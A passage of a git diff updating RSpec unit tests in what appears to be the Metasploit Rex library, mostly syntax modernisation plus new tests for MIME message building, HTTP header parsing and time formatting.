Rex::Exploitation::Js::Detect.misc_addons.to_s - js.should =~ /window\.misc_addons_detect/ + js.should =~ /misc_addons_detect/ end end diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb index 25e05cc34e0e..ec56762cf634 100644 --- a/spec/lib/rex/exploitation/jsobfu_spec.rb +++ b/spec/lib/rex/exploitation/jsobfu_spec.rb @@ -2,50 +2,28 @@ require 'rex/exploitation/jsobfu' describe Rex::Exploitation::JSObfu do + TEST_JS = %Q| + function x() { + alert('1'); + }; + + x(); + | subject(:jsobfu) do - described_class.new("") + described_class.new(TEST_JS) end - describe '#random_var_name' do - subject(:random_var_name) { jsobfu.random_var_name } - - it { should be_a String } - it { should_not be_empty } - - it 'is composed of _, $, alphanumeric chars' do - 20.times { expect(jsobfu.random_var_name).to match(/\A[a-zA-Z0-9$_]+\Z/) } - end - - it 'does not start with a number' do - 20.times { expect(jsobfu.random_var_name).not_to match(/\A[0-9]/) } + describe '#obfuscate' do + + it 'returns a #to_s object' do + expect(jsobfu.obfuscate.to_s).to be_a(String) end - context 'when a reserved word is generated' do - let(:reserved) { described_class::RESERVED_KEYWORDS.first } - let(:random) { 'abcdef' } - let(:generated) { [reserved, reserved, reserved, random] } - - before do - jsobfu.stub(:random_string) { generated.shift } - end - - it { should be random } + it 'returns a non-empty String' do + expect(jsobfu.obfuscate.to_s).not_to be_empty end - context 'when a non-unique random var is generated' do - let(:preexisting) { 'preexist' } - let(:random) { 'abcdef' } - let(:vars) { { 'jQuery' => preexisting } } - let(:generated) { [preexisting, preexisting, preexisting, random] } - - before do - jsobfu.stub(:random_string) { generated.shift } - jsobfu.instance_variable_set("@vars", vars) - end - - it { should be random } - end end end diff --git a/spec/lib/rex/exploitation/powershell/obfu_spec.rb b/spec/lib/rex/exploitation/powershell/obfu_spec.rb index 9409f3579e4c..208b22dffac1 100644 --- a/spec/lib/rex/exploitation/powershell/obfu_spec.rb +++ b/spec/lib/rex/exploitation/powershell/obfu_spec.rb @@ -209,7 +209,7 @@ subject_no_literal.code.should be subject_no_literal.code.should be_kind_of String subject_no_literal.code.include?('Find-4624Logons').should be_falsey - subject_no_literal.code.include?('lots of whitespace').should be_true + subject_no_literal.code.include?('lots of whitespace').should be_truthy subject_no_literal.code.include?('$kernel32').should be_falsey subject_no_literal.code.include?('comment').should be_falsey res = (subject_no_literal.code =~ /\r\n\r\n/) diff --git a/spec/lib/rex/exploitation/powershell/script_spec.rb b/spec/lib/rex/exploitation/powershell/script_spec.rb index 8c7f3f443070..b8076478cfb5 100644 --- a/spec/lib/rex/exploitation/powershell/script_spec.rb +++ b/spec/lib/rex/exploitation/powershell/script_spec.rb @@ -22,7 +22,7 @@ subject.code.should be subject.code.should be_kind_of String subject.code.empty?.should be_falsey - subject.functions.empty?.should be_true + subject.functions.empty?.should be_truthy end end diff --git a/spec/lib/rex/exploitation/powershell_spec.rb b/spec/lib/rex/exploitation/powershell_spec.rb index c18531c9a65f..e28fc63391ad 100644 --- a/spec/lib/rex/exploitation/powershell_spec.rb +++ b/spec/lib/rex/exploitation/powershell_spec.rb @@ -39,7 +39,7 @@ it 'should substitute values in script' do script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) script.include?('BitConverter').should be_falsey - script.include?('ParpConverter').should be_true + script.include?('ParpConverter').should be_truthy end end diff --git a/spec/lib/rex/mime/encoding_spec.rb b/spec/lib/rex/mime/encoding_spec.rb new file mode 100644 index 000000000000..85f7a9fc27db --- /dev/null +++ b/spec/lib/rex/mime/encoding_spec.rb @@ -0,0 +1,32 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Encoding do + + subject do + mod = Class.new + mod.extend described_class + mod + end + + describe "#force_crlf" do + it "deletes \\r characters" do + expect(subject.force_crlf("Test\r1\r")).to_not include("\\r") + end + + it "substitutes \\n characters by \\r\\n sequences" do + expect(subject.force_crlf("Test 2\n")).to end_with("\r\n") + end + + it "preserves \r\n sequences" do + expect(subject.force_crlf("\r\nTest 3\r\n")).to eq("\r\nTest 3\r\n") + end + + it "first deletes \\r characters, then substitutes \\n characters" do + expect(subject.force_crlf("\rTest 4\r\n\r\r\n")).to eq("Test 4\r\n\r\n") + end + end + +end diff --git a/spec/lib/rex/mime/header_spec.rb b/spec/lib/rex/mime/header_spec.rb new file mode 100644 index 000000000000..e4063d86ac89 --- /dev/null +++ b/spec/lib/rex/mime/header_spec.rb @@ -0,0 +1,151 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Header do + + let(:mime_headers_test) do + <<-EOS +Content-Type: text/plain; +Content-Disposition: attachment; filename="test.txt" + EOS + end + + subject do + described_class.new + end + + describe "#initialize" do + subject(:header_class) do + described_class.allocate + end + + it "returns an Array" do + expect(header_class.send(:initialize)).to be_a(Array) + end + + it "creates an empty headers array by default" do + expect(header_class.send(:initialize)).to be_empty + end + + it "populates headers array with data from argument" do + header_class.send(:initialize, mime_headers_test) + expect(header_class.headers.length).to be(2) + end + end + + describe "#add" do + it "returns the added entry" do + expect(subject.add('var', 'val')).to eq(['var', 'val']) + end + + it "adds a new entry into the headers array" do + subject.add('var', 'val') + expect(subject.headers.length).to eq(1) + end + end + + describe "#set" do + it "returns the set value" do + expect(subject.set('var', 'val')).to eq('val') + end + + it "modifies the header entry if it exists" do + subject.add('var', 'val') + subject.set('var', 'val2') + expect(subject.headers.length).to eq(1) + expect(subject.headers[0]).to eq(['var', 'val2']) + end + + it "creates the header entry if doesn't exist" do + subject.set('var2', 'val2') + expect(subject.headers.length).to eq(1) + expect(subject.headers[0]).to eq(['var2', 'val2']) + end + end + + describe "#remove" do + it "doesn't remove any header if index doesn't exist" do + subject.add('var', 'val') + subject.remove(10000) + expect(subject.headers.length).to eq(1) + end + + it "doesn't remove any header if var name doesn't exist" do + subject.add('var', 'val') + subject.remove('var2') + expect(subject.headers.length).to eq(1) + end + + it "removes header entry if index exists" do + subject.add('var', 'val') + subject.remove(0) + expect(subject.headers.length).to eq(0) + end + + it "removes any header entry with var name" do + subject.add('var', 'val') + subject.add('var2', 'val2') + subject.add('var', 'val3') + subject.remove('var') + expect(subject.headers.length).to eq(1) + end + end + + describe "#find" do + it "returns nil if header index doesn't exist" do + expect(subject.find(1)).to be_nil + end + + it "returns nil if header var name doesn't exist" do + expect(subject.find('var')).to be_nil + end + + it "returns the header at index if exists" do + subject.add('var', 'val') + expect(subject.find(0)).to eq(['var', 'val']) + end + + it "returns the first header with var name if exists" do + subject.add('var', 'val') + subject.add('var', 'val2') + subject.add('var', 'val3') + expect(subject.find('var')).to eq(['var', 'val']) + end + end + + describe "#to_s" do + it "returns empty String if there aren't headers" do + expect(subject.to_s).to be_empty + end + + it "returns string with headers separated by \\r\\n sequences" do + subject.add('var', 'val') + subject.add('var', 'val2') + subject.add('var3', 'val3') + expect(subject.to_s).to eq("var: val\r\nvar: val2\r\nvar3: val3\r\n") + end + end + + describe "#parse" do + let(:complex_header) do + 'Date: Wed,20 Aug 2014 08:45:38 -0500' + end + + it "parses headers separated by lines" do + subject.parse(mime_headers_test) + expect(subject.headers.length).to eq(2) + end + + it "parses headers names and values separated by :" do + subject.parse(mime_headers_test) + expect(subject.headers).to eq([['Content-Type', 'text/plain;'], ['Content-Disposition', 'attachment; filename="test.txt"']]) + end + + it "parses headers with ':' characters in the value" do + subject.parse(complex_header) + expect(subject.headers).to eq([['Date', 'Wed,20 Aug 2014 08:45:38 -0500']]) + end + end +end diff --git a/spec/lib/rex/mime/message_spec.rb b/spec/lib/rex/mime/message_spec.rb new file mode 100644 index 000000000000..c9d94873ccf5 --- /dev/null +++ b/spec/lib/rex/mime/message_spec.rb @@ -0,0 +1,412 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' +require 'rex/text' + +describe Rex::MIME::Message do + + subject do + described_class.new + end + + describe "#initialize" do + subject(:message_class) do + described_class.allocate + end + + let(:raw_message) do + message = "MIME-Version: 1.0\r\n" + message << "Content-Type: multipart/mixed; boundary=\"_Part_12_3195573780_381739540\"\r\n" + message << "Subject: Pull Request\r\n" + message << "Date: Wed,20 Aug 2014 08:45:38 -0500\r\n" + message << "Message-ID: <WRobqc7gEyQVIQwEkLS7FN3ZNhS1Xj9pU2szC24rggMg@tqUqGjjSLEvssbwm>\r\n" + message << "From: contributor@msfdev.int\r\n" + message << "To: msfdev@msfdev.int\r\n" + message << "\r\n" + message << "--_Part_12_3195573780_381739540\r\n" + message << "Content-Disposition: inline; filename=\"content\"\r\n" + message << "Content-Type: application/octet-stream; name=\"content\"\r\n" + message << "Content-Transfer-Encoding: base64\r\n" + message << "\r\n" + message << "Q29udGVudHM=\r\n" + message << "\r\n" + message << "--_Part_12_3195573780_381739540--\r\n" + + message + end + + it "creates a new Rex::MIME::Header" do + message_class.send(:initialize) + expect(message_class.header).to be_a(Rex::MIME::Header) + end + + it "creates an empty array of parts" do + message_class.send(:initialize) + expect(message_class.parts).to be_empty + end + + it "creates a random bound" do + message_class.send(:initialize) + expect(message_class.bound).to include('_Part_') + end + + it "allows to populate headers from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.headers.length).to eq(7) + end + + it "allows to create a MIME-Version header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) + end + + it "allows to create a Content-Type header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Content-Type')).to eq(['Content-Type', "multipart/mixed; boundary=\"_Part_12_3195573780_381739540\""]) + end + + it "allows to create a Subject header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Subject')).to eq(['Subject', 'Pull Request']) + end + + it "allows to create a Date header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Date')).to eq(['Date', 'Wed,20 Aug 2014 08:45:38 -0500']) + end + + it "allows to create a Message-ID header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Message-ID')).to eq(['Message-ID', '<WRobqc7gEyQVIQwEkLS7FN3ZNhS1Xj9pU2szC24rggMg@tqUqGjjSLEvssbwm>']) + end + + it "allows to create a From header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('From')).to eq(['From', 'contributor@msfdev.int']) + end + + it "allows to create a To header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('To')).to eq(['To', 'msfdev@msfdev.int']) + end + + it "allows to populate parts from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.parts.length).to eq(1) + end + + it "allows to populate parts headers from argument" do + message_class.send(:initialize, raw_message) + part = message_class.parts[0] + expect(part.header.headers.length).to eq(3) + end + + it "allows to populate parts contents from argument" do + message_class.send(:initialize, raw_message) + part = message_class.parts[0] + expect(part.content).to eq("Q29udGVudHM=") + end + end + + describe "#to" do + it "returns nil if To: header doesn't exist" do + expect(subject.to).to be_nil + end + + it "returns the To: header value if it exists" do + subject.header.add('To', 'msfdev') + expect(subject.to).to eq('msfdev') + end + end + + describe "#to=" do + it "sets the To: header value" do + subject.to = 'msfdev' + expect(subject.to).to eq('msfdev') + end + end + + + describe "#from" do + it "returns nil if From: header doesn't exist" do + expect(subject.from).to be_nil + end + + it "returns the From: header value if it exists" do + subject.header.add('From', 'msfdev') + expect(subject.from).to eq('msfdev') + end + end + + describe "#from=" do + it "sets the From: header value" do + subject.from = 'msfdev' + expect(subject.from).to eq('msfdev') + end + end + + describe "#subject" do + it "returns nil if Subject: header doesn't exist" do + expect(subject.subject).to be_nil + end + + it "returns the Subject: header value if it exists" do + subject.header.add('Subject', 'msfdev') + expect(subject.subject).to eq('msfdev') + end + end + + describe "#subject=" do + it "sets the Subject: header value" do + subject.subject = 'msfdev' + expect(subject.subject).to eq('msfdev') + end + end + + describe "#mime_defaults" do + it "sets the MIME-Version header" do + subject.mime_defaults + expect(subject.header.find('MIME-Version')).to_not be_nil + end + + it "sets the MIME-Version header to '1.0'" do + subject.mime_defaults + expect(subject.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) + end + + it "sets the Content-Type header" do + subject.mime_defaults + expect(subject.header.find('Content-Type')).to_not be_nil + end + + it "sets the Content-Type header to multipart/mixed" do + subject.mime_defaults + expect(subject.header.find('Content-Type')[1]).to include('multipart/mixed') + end + + it "sets the Subject header" do + subject.mime_defaults + expect(subject.header.find('Subject')).to_not be_nil + end + + it "sets the Subject header to empty string" do + subject.mime_defaults + expect(subject.header.find('Subject')).to eq(['Subject', '']) + end + + it "sets the Message-ID header" do + subject.mime_defaults + expect(subject.header.find('Message-ID')).to_not be_nil + end + + it "sets the From header" do + subject.mime_defaults + expect(subject.header.find('From')).to_not be_nil + end + + it "sets the From header to empty string" do + subject.mime_defaults + expect(subject.header.find('From')).to eq(['From', '']) + end + + it "sets the To header" do + subject.mime_defaults + expect(subject.header.find('To')).to_not be_nil + end + + it "sets the To header to empty string" do + subject.mime_defaults + expect(subject.header.find('To')).to eq(['To', '']) + end + end + + describe "#add_part" do + subject(:part) do + described_class.new.add_part(*args) + end + + let(:args) { [] } + + it "returns the new part" do + expect(part).to be_a(Rex::MIME::Part) + end + + it "set part's Content-Type to text/plain by default" do + expect(part.header.find('Content-Type')[1]).to eq('text/plain') + end + + it "set part's Content-Transfer-Encoding to 8bit by default" do + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('8bit') + end + + it "doesn't set part's Content-Disposition by default" do + expect(part.header.find('Content-Disposition')).to be_nil + end + + context "with Content-Type argument" do + let(:args) { ['', 'application/pdf'] } + + it "creates a part Content-Type header" do + expect(part.header.find('Content-Type')[1]).to eq('application/pdf') + end + end + + context "with Content-Transfer-Encoding argument" do + let(:args) { ['', 'application/pdf', 'binary'] } + + it "creates a part Content-Transfer-Encoding header" do + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('binary') + end + end + + context "with Content-Disposition argument" do + let(:args) { ['', 'application/pdf', 'binary', 'attachment; filename="fname.ext"'] } + + it "creates a part Content-Disposition header" do + expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="fname.ext"') + end + end + + context "with content argument" do + let(:args) { ['msfdev'] } + + it "creates part content" do + expect(part.content).to eq('msfdev') + end + end + + end + + describe "#add_part_attachment" do + it "requires data argument" do + expect { subject.add_part_attachment }.to raise_error(ArgumentError) + end + + it "requires name argument" do + expect { subject.add_part_attachment('data') }.to raise_error(ArgumentError) + end + + it 'returns the new Rex::MIME::Part' do + expect(subject.add_part_attachment('data', 'name')).to be_a(Rex::MIME::Part) + end + + it 'encodes the part content with base64' do + part = subject.add_part_attachment('data', 'name') + expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) + end + + it 'setup Content-Type as application/octet-stream' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') + end + + it 'setup Content-Transfer-Encoding as base64' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') + end + + it 'setup Content-Disposition as attachment' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="name"') + end + end + + describe "#add_part_inline_attachment" do + it "requires data argument" do + expect { subject.add_part_inline_attachment }.to raise_error(ArgumentError) + end + + it "requires name argument" do + expect { subject.add_part_inline_attachment('data') }.to raise_error(ArgumentError) + end + + it 'returns the new Rex::MIME::Part' do + expect(subject.add_part_inline_attachment('data', 'name')).to be_a(Rex::MIME::Part) + end + + it 'encodes the part content with base64' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) + end + + it 'setup Content-Type as application/octet-stream' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') + end + + it 'setup Content-Transfer-Encoding as base64' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') + end + + it 'setup Content-Disposition as attachment' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Disposition')[1]).to eq('inline; filename="name"') + end + end + + describe "#to_s" do + let(:regexp_mail) do + regex = "MIME-Version: 1.0\r\n" + regex << "Content-Type: multipart/mixed; boundary=\"_Part_.*\"\r\n" + regex << "Subject: Pull Request\r\n" + regex << "Date: .*\r\n" + regex << "Message-ID: <.*@.*>\r\n" + regex << "From: contributor@msfdev.int\r\n" + regex << "To: msfdev@msfdev.int\r\n" + regex << "\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: inline\r\n" + regex << "Content-Type: text/plain\r\n" + regex << "Content-Transfer-Encoding: base64\r\n" + regex << "\r\n" + regex << "Q29udGVudHM=\r\n" + regex << "\r\n" + regex << "--_Part_.*--\r\n" + + Regexp.new(regex) + end + + let(:regexp_web) do + regex = "\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"action\"\r\n" + regex << "\r\n" + regex << "save\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n" + regex << "Content-Type: application/octet-stream\r\n" + regex << "\r\n" + regex << "Contents\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"title\"\r\n" + regex << "\r\n" + regex << "Title\r\n" + regex << "--_Part_.*--\r\n" + + Regexp.new(regex) + end + + it "returns \\r\\n if Rex::MIME::Message is empty" do + expect(subject.to_s).to eq("\r\n") + end + + it "generates valid MIME email messages" do + subject.mime_defaults + subject.from = "contributor@msfdev.int" + subject.to = "msfdev@msfdev.int" + subject.subject = "Pull Request" + subject.add_part(Rex::Text.encode_base64("Contents", "\r\n"), "text/plain", "base64", "inline") + expect(regexp_mail.match(subject.to_s)).to_not be_nil + end + + it "generates valid MIME web forms" do + subject.add_part("save", nil, nil, "form-data; name=\"action\"") + subject.add_part("Contents", "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"test.txt\"") + subject.add_part("Title", nil, nil, "form-data; name=\"title\"") + expect(regexp_web.match(subject.to_s)).to_not be_nil + end + end + +end diff --git a/spec/lib/rex/mime/part_spec.rb b/spec/lib/rex/mime/part_spec.rb new file mode 100644 index 000000000000..1f150f882f9f --- /dev/null +++ b/spec/lib/rex/mime/part_spec.rb @@ -0,0 +1,92 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Part do + + subject do + described_class.new + end + + describe "#initialize" do + subject(:part_class) do + described_class.allocate + end + + it "initializes the Rex::MIME::Header object" do + part_class.send(:initialize) + expect(part_class.header).to be_a(Rex::MIME::Header) + end + + it "initializes the Rex::MIME::Header with an empty array of headers" do + part_class.send(:initialize) + expect(part_class.header.headers).to be_empty + end + + it "Initializes content with an empty String" do + part_class.send(:initialize) + expect(part_class.content).to be_empty + end + end + + describe "#transfer_encoding" do + it "returns nil if the part hasn't a Content-Transfer-Encoding header" do + expect(subject.transfer_encoding).to be_nil + end + + it "returns the transfer encoding value if a Content-Transfer-Encoding header exists" do + subject.header.add('Content-Transfer-Encoding', 'base64') + expect(subject.transfer_encoding).to eq('base64') + end + end + + describe "#binary_content?" do + it "returns false if transfer encoding isn't defined" do + expect(subject.binary_content?).to be_falsey + end + + it "returns false if transfer encoding isn't binary" do + subject.header.add('Content-Transfer-Encoding', 'base64') + expect(subject.binary_content?).to be_falsey + end + + it "returns true if transfer encoding is binary" do + subject.header.add('Content-Transfer-Encoding', 'binary') + expect(subject.binary_content?).to be_truthy + end + end + + describe "#content_encoded" do + let(:content_test) do + "\rTest1\n" + end + + it "returns the exact content if transfer encoding is binary" do + subject.header.add('Content-Transfer-Encoding', 'binary') + subject.content = content_test + expect(subject.content_encoded).to eq(content_test) + end + + it "returns the content crlf encoded if transfer encoding isn't binary" do + subject.content = content_test + expect(subject.content_encoded).to eq("Test1\r\n") + end + end + + describe "#to_s" do + it "returns headers and content separated by two \\r\\n sequences" do + subject.header.add('var', 'val') + subject.content = 'content' + expect(subject.to_s).to eq("var: val\r\n\r\ncontent\r\n") + end + + it "returns two \\r\\n sequences if part is empty" do + expect(subject.to_s).to eq("\r\n\r\n") + end + + it "ends with \\r\\n sequence" do + expect(subject.to_s).to end_with("\r\n") + end + end +end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 9e407071469a..40da740f0ac8 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -230,17 +230,17 @@ end it "should raise an error when given something other than nil or an array" do - pending "RM #7598" + skip "RM #7598" group_tlv.add_tlvs("bad value").should raise_error end it "should raise an error when given an array of objects other than hashes" do - pending "RM #7598" + skip "RM #7598" group_tlv.add_tlvs([1,2,3]).should raise_error end it "should raise an error when any of the hashes are missing a key" do - pending "RM #7598" + skip "RM #7598" tlv_array = [ {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING, :value => "test"}, {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING} diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index c943fe3c64a1..979ffcfdd2ec 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -156,27 +156,27 @@ def excuse_needs_auth cli.close.should be_nil end - it "should send a request and receive a response", :pending => excuse_needs_connection do + it "should send a request and receive a response", :skip => excuse_needs_connection do end - it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + it "should send a request and receive a response without auth handling", :skip => excuse_needs_connection do end - it "should send a request", :pending => excuse_needs_connection do + it "should send a request", :skip => excuse_needs_connection do end it "should test for credentials" do - pending "Should actually respond to :has_creds" do + skip "Should actually respond to :has_creds" do cli.should_not have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) this_cli.should have_creds end end - it "should send authentication", :pending => excuse_needs_connection + it "should send authentication", :skip => excuse_needs_connection it "should produce a basic authentication header" do u = "user1" @@ -185,15 +185,15 @@ def excuse_needs_auth cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" end - it "should perform digest authentication", :pending => excuse_needs_auth do + it "should perform digest authentication", :skip => excuse_needs_auth do end - it "should perform negotiate authentication", :pending => excuse_needs_auth do + it "should perform negotiate authentication", :skip => excuse_needs_auth do end - it "should get a response", :pending => excuse_needs_connection do + it "should get a response", :skip => excuse_needs_connection do end diff --git a/spec/lib/rex/proto/http/packet/header_spec.rb b/spec/lib/rex/proto/http/packet/header_spec.rb new file mode 100644 index 000000000000..d6da40de0cfd --- /dev/null +++ b/spec/lib/rex/proto/http/packet/header_spec.rb @@ -0,0 +1,89 @@ + +require 'spec_helper' +require 'rex/proto/http/packet/header' + +describe Rex::Proto::Http::Packet::Header do + + it_behaves_like "hash with insensitive keys" + + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Content-Length: 0\r\n" \ + "Foo: Bar\r\n" \ + "Bar: Baz\r\n" \ + "Combine-me: one\r\n" \ + "Combine-me: two\r\n" \ + "\r\n" + end + + describe "#from_s" do + subject(:headers) do + h = described_class.new + h.from_s(original_str) + h + end + + it "should create keys and values for each header" do + expect(headers['Foo']).to eq "Bar" + expect(headers['Content-Length']).to eq "0" + end + + it "should combine headers" do + expect(headers['Combine-me']).to eq "one, two" + end + + context "with folding" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Spaces:\r\n" \ + " Bar\r\n" \ + "Tabs:\r\n" \ + "\tBar\r\n" \ + "\r\n" + end + it "should recognize spaces" do + expect(headers['Spaces']).to eq "Bar" + end + it "should recognize tabs" do + expect(headers['Tabs']).to eq "Bar" + end + end + + end + + describe "#to_s" do + subject(:header_string) do + h = described_class.new + h.from_s(original_str) + h.to_s + end + + context "without combining" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Bar: Baz\r\n" \ + "\r\n" + end + + it "should return the same string" do + expect(header_string).to eq original_str + end + end + context "with combining" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Foo: Baz\r\n" \ + "Foo: Bab\r\n" \ + "\r\n" + end + it "should produce an equivalent string" do + #pending "who knows" + combined = "Foo: Bar, Baz, Bab\r\n\r\n" + expect(header_string).to eq combined + end + end + end + +end diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb new file mode 100644 index 000000000000..8fac5eebcdd1 --- /dev/null +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -0,0 +1,53 @@ + +require 'spec_helper' +require 'rex/proto/http/packet' + +describe Rex::Proto::Http::Packet do + it_behaves_like "hash with insensitive keys" + + describe "#parse" do + let :body do + "Super body" + end + subject do + s = described_class.new + s.parse packet_str + + s + end + context "with a request packet" do + let :packet_str do + "GET / HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Content-Length: #{body.length}\r\n" \ + "\r\n" \ + "#{body}" + end + + it "should have correct headers" do + subject["foo"].should == "Bar" + subject["Content-Length"].should == body.length.to_s + subject.cmd_string.should == "GET / HTTP/1.0\r\n" + subject.body.should == body + end + end + + context "with a response packet" do + let :packet_str do + "HTTP/1.0 200 OK\r\n" \ + "Foo: Bar\r\n" \ + "Content-Length: #{body.length}\r\n" \ + "\r\n" \ + "#{body}" + end + + it "should have correct headers" do + subject["foo"].should == "Bar" + subject["Content-Length"].should == body.length.to_s + subject.cmd_string.should == "HTTP/1.0 200 OK\r\n" + subject.body.should == body + end + end + + end +end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 5157e9398da4..141d6b5dcac0 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -1,5 +1,4 @@ require 'spec_helper' -require 'fastlib' require 'msfenv' require 'msf/base' require 'rex/proto/pjl' @@ -23,7 +22,7 @@ context "#initialize" do it "should initialize a 'sock' ivar" do - cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock) + cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Double) end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index b61a6e5bfb11..74eb15c6856e 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -15,13 +15,13 @@ context "with a hostname" do let(:args) { "localhost" } it { should be_valid } - it { should have_at_least(1).address } + it { expect(subject.length).to be >= 1 } end context "with a hostname and CIDR" do let(:args) { "localhost/24" } it { should be_valid } - it { should have(256).addresses } + it { expect(subject.length).to eq(256) } end context "with an invalid hostname" do @@ -55,7 +55,7 @@ context "with mulitple ranges" do let(:args) { "1.1.1.1-2 2.1-2.2.2 3.1-2.1-2.1 " } it { should be_valid } - it { should have(8).addresses } + it { expect(subject.length).to eq(8) } it { should include("1.1.1.1") } end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index fdf161012959..1aa6690da033 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -39,8 +39,8 @@ context 'with ipv6' do let(:try) { "fe80::1" } - it { should be_a(String) } - it { should have(16).bytes } + it { is_expected.to be_an(String) } + it { expect(subject.bytes.count).to eq(16) } it "should be in the right order" do nbo.should == "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" end @@ -48,8 +48,8 @@ context 'with ipv4' do let(:try) { "127.0.0.1" } - it { should be_a(String) } - it { should have(4).bytes } + it { is_expected.to be_an(String) } + it { expect(subject.bytes.count).to eq(4) } it "should be in the right order" do nbo.should == "\x7f\x00\x00\x01" end @@ -131,8 +131,8 @@ let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("1.1.1.1") subject.should include("2.2.2.2") @@ -143,8 +143,8 @@ let(:response_afamily) { Socket::AF_INET6 } let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("fe80::1") subject.should include("fe80::2") @@ -155,8 +155,8 @@ let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("1.1.1.1") subject.should include("2.2.2.2") diff --git a/spec/lib/rex/time_spec.rb b/spec/lib/rex/time_spec.rb new file mode 100644 index 000000000000..db8b0a928899 --- /dev/null +++ b/spec/lib/rex/time_spec.rb @@ -0,0 +1,69 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/time' + +describe Rex::ExtTime do + + let(:conversions) do + { + 0 => '0 secs', + 1 => '1 sec', + 60 => '1 min', + 61 => '1 min 1 sec', + 121 => '2 mins 1 sec', + 3600 => '1 hour', + 3660 => '1 hour 1 min', + 3661 => '1 hour 1 min 1 sec', + 7326 => '2 hours 2 mins 6 secs', + 86400 => '1 day', + 86401 => '1 day 1 sec', + 86460 => '1 day 1 min', + 86461 => '1 day 1 min 1 sec', + 90000 => '1 day 1 hour', + 90060 => '1 day 1 hour 1 